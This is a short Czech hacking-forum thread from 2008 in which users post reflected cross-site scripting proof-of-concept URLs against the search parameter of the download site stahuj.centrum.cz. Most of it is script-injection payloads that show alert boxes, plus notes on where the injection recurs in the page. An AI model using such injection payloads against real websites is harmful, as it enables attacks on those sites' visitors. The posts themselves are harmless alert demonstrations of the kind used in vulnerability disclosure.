Stahuj podruhe

HackForum

Stahuj podruhe

jelikoz uz : www.stahuj.centrum.cz/?g[s]="<script>
alert('xss');</script>
opravili , tak jsem vrtal znovu.

www.stahuj.centrum.cz/?g[s]="</input>
<script>alert('XSS by Aton')</script>

(odpovědět)

Aton |

26.1.2008 14:25

re: Stahuj podruhe

hned vedle ...
[link]
(odpovědět)

hah | 85.160.24.*

26.1.2008 15:18

re: Stahuj podruhe

imho nic neopravili
www.stahuj.centrum.cz/?g[s]="<script>
alert("miranda")</script>
zobrazi se alert tolikrat, kolik bylo nalezeno vysledku (v tomto pripade 20x)... XSS se totiz nachazi v kazdem vysledku, a po kliku na urcity odkaz na program, ktery jste nalezli pomoci vyhledavani, se tyto data odeslou v GET promenne g[hledano] (asi z duvodu jakychsi statistik...),
dale se nachazi nekde v 67 radku v jakemsi skriptu, tudiz
www.stahuj.centrum.cz/?g[s]=</script>
<script>alert("XSS")</script>

----------
..:@]> [link] <[@:..
(odpovědět)

DjH |